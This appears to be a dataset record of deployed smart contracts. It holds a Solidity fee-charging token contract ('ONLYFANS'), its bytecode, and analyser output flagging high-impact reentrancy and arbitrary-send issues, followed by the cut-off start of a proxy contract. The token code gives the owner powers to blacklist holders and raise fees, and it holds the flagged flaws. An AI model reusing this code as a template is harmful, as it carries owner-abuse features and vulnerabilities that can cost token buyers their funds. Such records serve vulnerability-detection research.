function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ONLYFANS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ONLYFANS";
string private constant _symbol = "OF";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5e10 * 10**9;
uint256 public _maxWalletSize = 1e11 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5e10 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610573578063dd62ed3e14610593578063ea1644d5146105d9578063f2fde38b146105f957600080fd5b8063a2a957bb146104ee578063a9059cbb1461050e578063bfd792841461052e578063c3c8cd801461055e57600080fd5b80638f70ccf7116100d15780638f70ccf71461046d5780638f9a55c01461048d57806395d89b41146104a357806398a5c315146104ce57600080fd5b80637d1db4a5146103f75780637f2feddc1461040d5780638203f5fe1461043a5780638da5cb5b1461044f57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038d57806370a08231146103a2578063715018a6146103c257806374010ece146103d757600080fd5b8063313ce5671461031157806349bd5a5e1461032d5780636b9990531461034d5780636d8aa8f81461036d57600080fd5b80631694505e116101b65780631694505e1461027c57806318160ddd146102b457806323b872dd146102db5780632fd689e3146102fb57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024c57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b39565b610619565b005b34801561021557600080fd5b506040805180820190915260088152674f4e4c5946414e5360c01b60208201525b6040516102439190611bfe565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611c53565b6106b8565b6040519015158152602001610243565b34801561028857600080fd5b5060135461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b5069021e19e0c9bab24000005b604051908152602001610243565b3480156102e757600080fd5b5061026c6102f6366004611c7f565b6106cf565b34801561030757600080fd5b506102cd60175481565b34801561031d57600080fd5b5060405160098152602001610243565b34801561033957600080fd5b5060145461029c906001600160a01b031681565b34801561035957600080fd5b50610207610368366004611cc0565b610738565b34801561037957600080fd5b50610207610388366004611ced565b610783565b34801561039957600080fd5b506102076107cb565b3480156103ae57600080fd5b506102cd6103bd366004611cc0565b6107f8565b3480156103ce57600080fd5b5061020761081a565b3480156103e357600080fd5b506102076103f2366004611d08565b61088e565b34801561040357600080fd5b506102cd60155481565b34801561041957600080fd5b506102cd610428366004611cc0565b60116020526000908152604090205481565b34801561044657600080fd5b506102076108d2565b34801561045b57600080fd5b506000546001600160a01b031661029c565b34801561047957600080fd5b50610207610488366004611ced565b610a8a565b34801561049957600080fd5b506102cd60165481565b3480156104af57600080fd5b5060408051808201909152600281526127a360f11b6020820152610236565b3480156104da57600080fd5b506102076104e9366004611d08565b610ae9565b3480156104fa57600080fd5b50610207610509366004611d21565b610b18565b34801561051a57600080fd5b5061026c610529366004611c53565b610b72565b34801561053a57600080fd5b5061026c610549366004611cc0565b60106020526000908152604090205460ff1681565b34801561056a57600080fd5b50610207610b7f565b34801561057f57600080fd5b5061020761058e366004611d53565b610bb5565b34801561059f57600080fd5b506102cd6105ae366004611dd7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e557600080fd5b506102076105f4366004611d08565b610c56565b34801561060557600080fd5b50610207610614366004611cc0565b610c85565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161064390611e10565b60405180910390fd5b60005b81518110156106b45760016010600084848151811061067057610670611e45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ac81611e71565b91505061064f565b5050565b60006106c5338484610d6f565b5060015b92915050565b60006106dc848484610e93565b61072e843361072985604051806060016040528060288152602001611f89602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113cf565b610d6f565b5060019392505050565b6000546001600160a01b031633146107625760405162461bcd60e51b815260040161064390611e10565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ad5760405162461bcd60e51b815260040161064390611e10565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107eb57600080fd5b476107f581611409565b50565b6001600160a01b0381166000908152600260205260408120546106c990611443565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161064390611e10565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161064390611e10565b6802b5e3af16b188000081116108cd57600080fd5b601555565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161064390611e10565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610961573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109859190611e8a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190611e8a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a679190611e8a565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161064390611e10565b601454600160a01b900460ff1615610acb57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b135760405162461bcd60e51b815260040161064390611e10565b601755565b6000546001600160a01b03163314610b425760405162461bcd60e51b815260040161064390611e10565b60095482111580610b555750600b548111155b610b5e57600080fd5b600893909355600a91909155600955600b55565b60006106c5338484610e93565b6012546001600160a01b0316336001600160a01b031614610b9f57600080fd5b6000610baa306107f8565b90506107f5816114c7565b6000546001600160a01b03163314610bdf5760405162461bcd60e51b815260040161064390611e10565b60005b82811015610c50578160056000868685818110610c0157610c01611e45565b9050602002016020810190610c169190611cc0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4881611e71565b915050610be2565b50505050565b6000546001600160a01b03163314610c805760405162461bcd60e51b815260040161064390611e10565b601655565b6000546001600160a01b03163314610caf5760405162461bcd60e51b815260040161064390611e10565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610643565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610643565b6001600160a01b038216610e325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610643565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610643565b6001600160a01b038216610f595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610643565b60008111610fbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610643565b6000546001600160a01b03848116911614801590610fe757506000546001600160a01b03838116911614155b156112c857601454600160a01b900460ff16611080576000546001600160a01b038481169116146110805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610643565b6015548111156110d25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610643565b6001600160a01b03831660009081526010602052604090205460ff1615801561111457506001600160a01b03821660009081526010602052604090205460ff16155b61116c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610643565b6014546001600160a01b038381169116146111f1576016548161118e846107f8565b6111989190611ea7565b106111f15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610643565b60006111fc306107f8565b6017546015549192508210159082106112155760155491505b80801561122c5750601454600160a81b900460ff16155b801561124657506014546001600160a01b03868116911614155b801561125b5750601454600160b01b900460ff165b801561128057506001600160a01b03851660009081526005602052604090205460ff16155b80156112a557506001600160a01b03841660009081526005602052604090205460ff16155b156112c5576112b3826114c7565b4780156112c3576112c347611409565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130a57506001600160a01b03831660009081526005602052604090205460ff165b8061133c57506014546001600160a01b0385811691161480159061133c57506014546001600160a01b03848116911614155b15611349575060006113c3565b6014546001600160a01b03858116911614801561137457506013546001600160a01b03848116911614155b1561138657600854600c55600954600d555b6014546001600160a01b0384811691161480156113b157506013546001600160a01b03858116911614155b156113c357600a54600c55600b54600d555b610c5084848484611641565b600081848411156113f35760405162461bcd60e51b81526004016106439190611bfe565b5060006114008486611ebf565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b4573d6000803e3d6000fd5b60006006548211156114aa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610643565b60006114b461166f565b90506114c08382611692565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150f5761150f611e45565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611568573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158c9190611e8a565b8160018151811061159f5761159f611e45565b6001600160a01b0392831660209182029290920101526013546115c59130911684610d6f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fe908590600090869030904290600401611ed6565b600060405180830381600087803b15801561161857600080fd5b505af115801561162c573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061164e5761164e6116d4565b611659848484611702565b80610c5057610c50600e54600c55600f54600d55565b600080600061167c6117f9565b909250905061168b8282611692565b9250505090565b60006114c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183d565b600c541580156116e45750600d54155b156116eb57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806117148761186b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174690876118c8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611775908661190a565b6001600160a01b03891660009081526002602052604090205561179781611969565b6117a184836119b3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e691815260200190565b60405180910390a3505050505050505050565b600654600090819069021e19e0c9bab24000006118168282611692565b8210156118345750506006549269021e19e0c9bab240000092509050565b90939092509050565b6000818361185e5760405162461bcd60e51b81526004016106439190611bfe565b5060006114008486611f47565b60008060008060008060008060006118888a600c54600d546119d7565b925092509250600061189861166f565b905060008060006118ab8e878787611a2c565b919e509c509a509598509396509194505050505091939550919395565b60006114c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cf565b6000806119178385611ea7565b9050838110156114c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610643565b600061197361166f565b905060006119818383611a7c565b3060009081526002602052604090205490915061199e908261190a565b30600090815260026020526040902055505050565b6006546119c090836118c8565b6006556007546119d0908261190a565b6007555050565b60008080806119f160646119eb8989611a7c565b90611692565b90506000611a0460646119eb8a89611a7c565b90506000611a1c82611a168b866118c8565b906118c8565b9992985090965090945050505050565b6000808080611a3b8886611a7c565b90506000611a498887611a7c565b90506000611a578888611a7c565b90506000611a6982611a1686866118c8565b939b939a50919850919650505050505050565b600082600003611a8e575060006106c9565b6000611a9a8385611f69565b905082611aa78583611f47565b146114c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610643565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b8035611b3481611b14565b919050565b60006020808385031215611b4c57600080fd5b823567ffffffffffffffff80821115611b6457600080fd5b818501915085601f830112611b7857600080fd5b813581811115611b8a57611b8a611afe565b8060051b604051601f19603f83011681018181108582111715611baf57611baf611afe565b604052918252848201925083810185019188831115611bcd57600080fd5b938501935b82851015611bf257611be385611b29565b84529385019392850192611bd2565b98975050505050505050565b600060208083528351808285015260005b81811015611c2b57858101830151858201604001528201611c0f565b81811115611c3d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6657600080fd5b8235611c7181611b14565b946020939093013593505050565b600080600060608486031215611c9457600080fd5b8335611c9f81611b14565b92506020840135611caf81611b14565b929592945050506040919091013590565b600060208284031215611cd257600080fd5b81356114c081611b14565b80358015158114611b3457600080fd5b600060208284031215611cff57600080fd5b6114c082611cdd565b600060208284031215611d1a57600080fd5b5035919050565b60008060008060808587031215611d3757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6857600080fd5b833567ffffffffffffffff80821115611d8057600080fd5b818601915086601f830112611d9457600080fd5b813581811115611da357600080fd5b8760208260051b8501011115611db857600080fd5b602092830195509350611dce9186019050611cdd565b90509250925092565b60008060408385031215611dea57600080fd5b8235611df581611b14565b91506020830135611e0581611b14565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e8357611e83611e5b565b5060010190565b600060208284031215611e9c57600080fd5b81516114c081611b14565b60008219821115611eba57611eba611e5b565b500190565b600082821015611ed157611ed1611e5b565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f265784516001600160a01b031683529383019391830191600101611f01565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8357611f83611e5b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd3fd4464729ca79b7278b505ce44ecb8ae4e76ef4b10d4496824d83442594be64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,767 |
0xf9512aaa68ee8ea73c2244e9f75202ff022d0ef1
|
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
